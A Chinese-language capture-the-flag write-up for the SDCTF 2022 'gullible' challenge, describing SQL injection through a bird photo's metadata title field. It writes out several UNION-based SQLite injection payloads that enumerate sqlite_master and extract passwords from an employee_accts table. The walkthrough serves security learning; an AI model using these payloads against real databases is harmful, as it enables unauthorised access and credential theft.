这玩意多少有点抽象,注入点不好找,注入算简单,看nss上面没有wp于是就写了一份
Problem: [SDCTF 2022]gullible by dovesign
思路
首先当然是百度一张鸟的图片,上传看看,发现他居然识别不了
然后我们去看看他的源码,看到有upload.js,然后看到他有一些鸟的照片
- 我们下载一个鸟的照片然后再尝试上传,发现他成功识别,抓包发现其照片带有属性,有
<?xpacket begin
- 我们下载一个鸟的照片然后再尝试上传,发现他成功识别,抓包发现其照片带有属性,有
我们查看他的照片属性,标题有着鸟的名称,猜测应该是这里查询
我们尝试
1'
发现报错,则存在注入点我们查询列,发现共有3列
1' union select 1,2,3 --
这里显示2,则他输出第二列这里我们尝试mysql的注入但是报错,尝试sqlite成功了,数据库是sqlite,查出表名为birds
1' union select 1,name,3 from sqlite_master --
我们继续查询字段
1' union select 1,sql,3 from sqlite_master where type='table' and name='birds'--
我们看看有没有不是其他name的表,还真有,flag可能在这里面,我们进去看看
1' union select 1,name,3 from sqlite_master where name!='birds' --
1' union select 1,sql,3 from sqlite_master where type='table' and name='employee_accts'--
然后查询密码,里面密码很多,我们直接查询含有{的密码
1' union select 1,password,3 from employee_accts where password like '%{%'--
得到flag
总结
- 混着点misc吧,看这个图片标签属性,有点麻烦,注入点不好找,但是注入基本很简单